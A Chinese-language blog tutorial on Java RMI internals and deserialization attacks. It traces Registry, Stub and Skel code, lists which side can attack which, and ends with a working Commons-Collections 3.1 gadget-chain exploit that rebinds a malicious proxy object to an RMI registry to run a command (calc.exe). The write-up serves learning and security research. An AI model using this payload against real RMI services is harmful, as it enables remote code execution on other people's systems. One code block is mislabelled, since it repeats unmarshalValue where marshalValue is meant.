沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

RMI的利用

0x00 前言


在上一篇文章 “关于Java中RMI的个人拙见“中,粗略的介绍了一下RMI的原理,并在最后给出了一个使用的例子,但没有深入的分析,所以看完后,并不知道哪里可以进行漏洞上的利用。因此,本文中,懒狗将从代码上进行一下RMI原理的补充,并最后基于此来学习几种RMI的利用方法。

本篇包含以下元素:

  • RMI代码的调试
  • RMI的利用

本来是打算一步步的调试并且用wireshark进行抓包分析的,但实际上,不需要这么复杂,我们只要大概知道逻辑,再结合部分代码,即可搞清楚攻击方式。如果你还是不清楚,可以看参考文章中的调试过程。

因为Java不同的版本对不同的版本进行了一些安全性的设置,所以我们在前期的代码分析都是用的没什么限制的JDK 1.7.0,一直到后面讲绕过才会用上有安全限制性的代码。

0x01 RMI过程与代码分析


关于服务端和注册中心的一点补充

在上一篇文章中,我们是将注册中心的代码和服务端写在一起,代码如下:

Registry myRegistry = LocateRegistry.createRegistry(1099);
//向注册中心中注册Stub,第一个参数为名字,要求客户端服务端相同
myRegistry.rebind("myRMI", myRemote);

但其实我们也可以现在另外一台机器,或者另一个类中创建注册中心,将注册中心和服务端代码分开,代码如下:

LocateRegistry.createRegistry(1099);
//注册中心还是用代码创建,但是是在另外一个类中(貌似要写一个死循环)

然后是服务端:

Registry myRegistry = LocateRegistry.getRegistry("localhost", 1099);
myRegistry.rebind("myRMI", myRemote);

可以看到和之前客户端的代码差不多,只是把客户端中的lookup方法换成了rebind

如果你懒得分开,但是还是想让服务端远程获取注册中心的话,可以这样写:

LocateRegistry.getRegistry("localhost", 1099);
Registry myRegistry = LocateRegistry.getRegistry("localhost", 1099);
myRegistry.rebind("myRMI", myRemote);

注册中心

使用LocateRegistry.createRegistry(1099);创建注册中心时,返回值是一个RegistryImpl类,其ref中有用来处理客户端和服务端请求的Skel,同时会开启一个线程进行监听端口,并使用Skel处理请求。image-20210808155001202

在我们服务端执行完rebind或者bind后(myRegistry.rebind("myRMI", myRemote);),这个类的哈希表就会有值:

image-20210808155559640

服务端

public class myServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException {
        RemoteInterface myRemote = new RemoteImpl();
        LocateRegistry.createRegistry(1099);//创建注册中心
		Registry myRegistry = LocateRegistry.getRegistry("localhost", 1099);
		myRegistry.rebind("myRMI", myRemote);
    }
}

RemoteInterface myRemote = new RemoteImpl();在上一文中已经说过了,如果直接继承了UnicastRemoteObject时,会直接使用exportObject方法,导出一个远程对象服务(Stub),即上文图中的RemoteImpl(这是我自己取得接口实现类名字,你远程接口实现类写了别的名字,那就是别的):

image-20210808161031289

LocateRegistry.getRegistry("localhost", 1099);返回的一个RegistryImpl_Stub类, 如下:

image-20210808202455609

myRegistry.rebind("myRMI", myRemote);执行rebind方法时,如果注册中心是像之前在服务端使用createRegistry创建的,获得的会是RegistryImpl类,所以会直接调用RegisterImpl的bind方法,会直接(先check一下杂七杂八的)在bindings list中添加键值:

image-20210808203922122

如果是像这里一样,在别的地方先创建注册中心,再到这里getRegistry的话,得到是RegistryImpl_Stub类,它的rebind代码如下:
image-20210808211617927

会先将我们的参数序列化,然后调用invoke,最后传给注册中心的RegistryImpl_Skel#dispatch来处理,这在后文会给出代码。

客户端

public class myClient {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
        Registry myRegistry = LocateRegistry.getRegistry("localhost", 1099);
        RemoteInterface myRemote = (RemoteInterface) myRegistry.lookup("myRMI");
        String result = myRemote.sayHello("chenlvtang");
        System.out.println(result);
    }
}

客户端同样也是通过getRegistry获取到一个RegistryImpl_Stub类,在调用lookup的时候,可想而知,应该和rebind差不多,因为这里和后面的代码分析挺重合,这里就先不放了。lookup会将我们之前在服务端绑定的Stub返回,里面包含了一些用于通信的重要信息,比如服务端的IP之类的,然后当我们调用方法时,就会通过这个Stub来与服务端通信。

服务端和客户端的通信

上面只讲到了服务端和客户端与注册中心的通信,还并没有涉及到服务端和客户端之间的通信。服务端和客户端的通信,发生在客户端调用远程对象的方法时。简要的讲,客户端首先会利用UnicastRef#marshalValue先将参数序列化:

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
    if (var0.isPrimitive()) {
        if (var0 == Integer.TYPE) {
            return var1.readInt();
        } else if (var0 == Boolean.TYPE) {
            return var1.readBoolean();
        } else if (var0 == Byte.TYPE) {
            return var1.readByte();
        } else if (var0 == Character.TYPE) {
            return var1.readChar();
        } else if (var0 == Short.TYPE) {
            return var1.readShort();
        } else if (var0 == Long.TYPE) {
            return var1.readLong();
        } else if (var0 == Float.TYPE) {
            return var1.readFloat();
        } else if (var0 == Double.TYPE) {
            return var1.readDouble();
        } else {
            throw new Error("Unrecognized primitive type: " + var0);
        }
    } else {
        return var1.readObject();
    }
}

服务端接收到序列化的参数时,会在UnicastServerRef#dispatch开始处理。首先会调用UnicastRef#unmarshalValue进行反序列化,代码如下:

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
    if (var0.isPrimitive()) {
        if (var0 == Integer.TYPE) {
            return var1.readInt();
        } else if (var0 == Boolean.TYPE) {
            return var1.readBoolean();
        } else if (var0 == Byte.TYPE) {
            return var1.readByte();
        } else if (var0 == Character.TYPE) {
            return var1.readChar();
        } else if (var0 == Short.TYPE) {
            return var1.readShort();
        } else if (var0 == Long.TYPE) {
            return var1.readLong();
        } else if (var0 == Float.TYPE) {
            return var1.readFloat();
        } else if (var0 == Double.TYPE) {
            return var1.readDouble();
        } else {
            throw new Error("Unrecognized primitive type: " + var0);
        }
    } else {
        return var1.readObject();
    }
}

然后通过invoke调用服务端上的远程对象方法,并把返回结果序列化后,就传回客户端。客户端在收到结果后,将同样调用UnicastRef#unmarshalValue进行反序列化。

小结

至此,RMI的过程就分析结束了,可以看到,RMI进行了很多的序列化和反序列化的处理,而这也将是我们利用RMI进行攻击的基点,下面就让我们在后文来看一看其他的一些细节,并了解如何进行漏洞的利用。

0x02 RegistryImpl_Skel#dispatch


上文说到,在服务端(注册中心另外写的情况)和客户端的rebind或者lookup都会发给RegistryImpl_Skel#dispatch来处理,所以我们现在就重点来分析一下这个方法。

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
    if (var4 != 4905912898345647071L) {
        throw new SkeletonMismatchException("interface hash mismatch");
    } else {
        RegistryImpl var6 = (RegistryImpl)var1;
        String var7;
        Remote var8;
        ObjectInput var10;
        ObjectInput var11;
        switch(var3) {
        case 0:
            try {
                var11 = var2.getInputStream();
                var7 = (String)var11.readObject();
                var8 = (Remote)var11.readObject();
            } catch (IOException var94) {
                throw new UnmarshalException("error unmarshalling arguments", var94);
            } catch (ClassNotFoundException var95) {
                throw new UnmarshalException("error unmarshalling arguments", var95);
            } finally {
                var2.releaseInputStream();
            }

            var6.bind(var7, var8);

            try {
                var2.getResultStream(true);
                break;
            } catch (IOException var93) {
                throw new MarshalException("error marshalling return", var93);
            }
        case 1:
            var2.releaseInputStream();
            String[] var97 = var6.list();

            try {
                ObjectOutput var98 = var2.getResultStream(true);
                var98.writeObject(var97);
                break;
            } catch (IOException var92) {
                throw new MarshalException("error marshalling return", var92);
            }
        case 2:
            try {
                var10 = var2.getInputStream();
                var7 = (String)var10.readObject();
            } catch (IOException var89) {
                throw new UnmarshalException("error unmarshalling arguments", var89);
            } catch (ClassNotFoundException var90) {
                throw new UnmarshalException("error unmarshalling arguments", var90);
            } finally {
                var2.releaseInputStream();
            }

            var8 = var6.lookup(var7);

            try {
                ObjectOutput var9 = var2.getResultStream(true);
                var9.writeObject(var8);
                break;
            } catch (IOException var88) {
                throw new MarshalException("error marshalling return", var88);
            }
        case 3:
            try {
                var11 = var2.getInputStream();
                var7 = (String)var11.readObject();
                var8 = (Remote)var11.readObject();
            } catch (IOException var85) {
                throw new UnmarshalException("error unmarshalling arguments", var85);
            } catch (ClassNotFoundException var86) {
                throw new UnmarshalException("error unmarshalling arguments", var86);
            } finally {
                var2.releaseInputStream();
            }

            var6.rebind(var7, var8);

            try {
                var2.getResultStream(true);
                break;
            } catch (IOException var84) {
                throw new MarshalException("error marshalling return", var84);
            }
        case 4:
            try {
                var10 = var2.getInputStream();
                var7 = (String)var10.readObject();
            } catch (IOException var81) {
                throw new UnmarshalException("error unmarshalling arguments", var81);
            } catch (ClassNotFoundException var82) {
                throw new UnmarshalException("error unmarshalling arguments", var82);
            } finally {
                var2.releaseInputStream();
            }

            var6.unbind(var7);

            try {
                var2.getResultStream(true);
                break;
            } catch (IOException var80) {
                throw new MarshalException("error marshalling return", var80);
            }
        default:
            throw new UnmarshalException("invalid method number");
        }

    }
}

可以看到这里用switch列出了0-4五种处理方法,其实这个数字的传递在RegistryImpl_Stub中也有体现:

image-20210811160750662

结合这两处的代码,我们便可以得到各个方法与其对应的数字,如下:

0: bind
1: list
2: lookup
3: rebind
4: unbind

我们还注意到Skel中的方法最后会调用var6的同名方法,其实var6就是一个RegisteryImpl类: RegistryImpl var6 = (RegistryImpl)var1;,我们在上文讲rebind的时候已经看过了,其他方法也是类似,先检查或者不检查,然后再绑定在哈希表中。

0x03 利用思路的思考


bind、rebind、unbind

结合RegistryImpl_Stub和RegistryImpl_Skel的代码(自己用IDEA本地看),可以发现这三个方法,都是先在Stub中序列化,然后在Skel中进行反序列化,且这三个方法都是用于服务端的。所以,如果存在反序列化漏洞,我们便可以在服务端构造Payload来攻击注册中心。(服务端要使用getRegistry)这里的unbind只有一个参数,而且类型必须为String,这可能会为我们构造Payload带来困难,我们将在后文详细讲解。

list

这个方法可以列出所有可用的远程对象,其代码如下:

//RegistryImpl_Stub#list
public String[] list() throws AccessException, RemoteException {
    try {
        RemoteCall var1 = super.ref.newCall(this, operations, 1, 4905912898345647071L);
        super.ref.invoke(var1);

        String[] var2;
        try {
            ObjectInput var5 = var1.getInputStream();
            var2 = (String[])var5.readObject();
        } catch (IOException var12) {
            throw new UnmarshalException("error unmarshalling return", var12);
        } catch (ClassNotFoundException var13) {
            throw new UnmarshalException("error unmarshalling return", var13);
        } finally {
            super.ref.done(var1);
        }

        return var2;
    } catch (RuntimeException var15) {
        throw var15;
    } catch (RemoteException var16) {
        throw var16;
    } catch (Exception var17) {
        throw new UnexpectedException("undeclared checked exception", var17);
    }
}

可以看到,他是没有参数传递的,并且与之前不同的是,它这里是反序列化。我们先接着看Skel,其代码如下:

case 1:
    var2.releaseInputStream();
    String[] var97 = var6.list();

    try {
        ObjectOutput var98 = var2.getResultStream(true);
        var98.writeObject(var97);
        break;
    } catch (IOException var92) {
        throw new MarshalException("error marshalling return", var92);
    }

显然,list方法是在Skel中将查询结果序列化,然后返回给Stub进行反序列化。list一般用于客户端,既然是在Stub中反序列化,所以如果有反序列化漏洞,我们便可以利用list方法来通过注册中心攻击客户端。

lookup

首先我们先看Stub中的代码:

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

        try {
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(var1);
        } catch (IOException var18) {
            throw new MarshalException("error marshalling arguments", var18);
        }

        super.ref.invoke(var2);

        Remote var23;
        try {
            ObjectInput var6 = var2.getInputStream();
            var23 = (Remote)var6.readObject();
        } catch (IOException var15) {
            throw new UnmarshalException("error unmarshalling return", var15);
        } catch (ClassNotFoundException var16) {
            throw new UnmarshalException("error unmarshalling return", var16);
        } finally {
            super.ref.done(var2);
        }

        return var23;
    } catch (RuntimeException var19) {
        throw var19;
    } catch (RemoteException var20) {
        throw var20;
    } catch (NotBoundException var21) {
        throw var21;
    } catch (Exception var22) {
        throw new UnexpectedException("undeclared checked exception", var22);
    }
}

然后我们再看Skel中的代码:

case 2:
    try {
        var10 = var2.getInputStream();
        var7 = (String)var10.readObject();
    } catch (IOException var89) {
        throw new UnmarshalException("error unmarshalling arguments", var89);
    } catch (ClassNotFoundException var90) {
        throw new UnmarshalException("error unmarshalling arguments", var90);
    } finally {
        var2.releaseInputStream();
    }

    var8 = var6.lookup(var7);

    try {
        ObjectOutput var9 = var2.getResultStream(true);
        var9.writeObject(var8);
        break;
    } catch (IOException var88) {
        throw new MarshalException("error marshalling return", var88);
    }

可以看到在Stub中是先将我们的参数序列化,然后将返回的结果进行反序列化;而在Skel中是先将Stub传来的序列化参数进行反序列化,查询后,将结果序列化后传给Stub。也就是说,在Stub和Skel中都同时存在反序列化操作,所以我们这里可以通过在客户端调用lookup来攻击注册中心(不过要注意,这里的参数类型也是String),也可以通过修改注册中心返回的结果来实现注册中心攻击客户端

客户端攻击服务端

上文我们说到,客户端在调用远程方法后,会先将参数序列化,服务端收到后,将会对其进行反序列化,再调用。所以我们在这里就可以利用这一点,想办法把参数序列化内容替换成恶意内容,这也便可以实现客户端攻击服务端。

服务端攻击客户端

同理,服务端会将调用的返回结果先序列化后返回给客户端,客户端会进行反序列化。所以替换服务端的返回结果,便可让服务端攻击客户端。

小结

通过上面的分析,我们得出了以下的攻击方向:

  • 服务端攻击客户端
  • 客户端攻击服务端
  • 注册中心攻击客户端:lookup、list
  • 客户端攻击注册中心:lookup
  • 服务端攻击注册中心:bind、rebind、unbind

这里需要注意,服务端指的是向注册中心进行bind等操作的端,不一定是受害者搭起的服务端,也就是说,作为攻击者,在能够getRegistry的情况下,就可以本地起一个服务端,进行攻击,只不过我们需要注意的是,因为上述攻击大多具有双向性,所以在你攻击别人的时候,也要小心这是别人设下的蜜罐(即陷阱),可以反向攻击你

0x04 结合CC链进行攻击实例


懒狗在以前分析过一个Java反序列化漏洞的中CC链(Java反序列化之commons-collections-3.1漏洞分析),虽然现在完全不记得,但是我们还是可以借用一下最后写成的payload,来实践一下RMI的攻击。这里准备采用的是服务端攻击注册中心,采用bind方法。

首先创建一个Maven项目,来导入CC3

image-20210811205541371

搭建RMI

代码依旧是使用之前我们RMI的代码(关于Java中RMI的个人拙见

搭建攻击方服务端

在另一个项目或者另一个包中搭建攻击方服务端,代码如下:

public class hackerServer {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        hackerServer hacker = new hackerServer();
        Remote payload = (Remote) hacker.test();

        Registry myRegistry = LocateRegistry.getRegistry(1099);
        myRegistry.rebind("hacker",  payload);
    }


    public Object test() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Class[]{Runtime.class, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
//        innerMap.put("foo","bar");//不行,key要为value
        innerMap.put("value","bar");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);
        //反射机制调用AnnotationInvocationHandler类的构造函数
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //访问权限放开,private之类的也能调用
        ctor.setAccessible(true);
        //获取AnnotationInvocationHandler类实例
        Object instance = ctor.newInstance(Target.class ,outerMap);
        Remote payload = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, (InvocationHandler) instance));
        return payload;
    }

}

payload基本上就是我们在之前介绍CC3的Gadget(Java反序列化之commons-collections-3.1漏洞分析),但是这里有点不同的是,bind方法的第二个参数只能是Remote类,所以我们构造的payload也要转换为Remote,即我们代码中的这一句Remote payload = (Remote) hacker.test();, 但这时候运行会报错,因为AnnotationInvocationHandler类不能被转换为Remote类。上网查询找到一个解决办法是:使用代理类Proxy来封装。

这也就是我们test()方法中 Remote payload = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, (InvocationHandler) instance));的来源。但是具体原因,懒狗在这里还没有深入了解,之后再来看。

发起攻击

首先,受害者服务端(注册中心也在里面)开启,然后我们开启我们的攻击方的服务端,结果如下:

image-20210812210349165

至此,就完成了一次,服务端利用bind方法攻击注册中心的实践。因为这篇文章已经写了很多了,所以关于RMI利用的更高级方法,懒狗将再写一篇文章来学习(绝对不是不想写了)

0x05 参考文章


搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)

Java 安全-RMI-学习总结 - 知乎 (zhihu.com)

Java远程方法调用RMI利用分析 - FreeBuf网络安全行业门户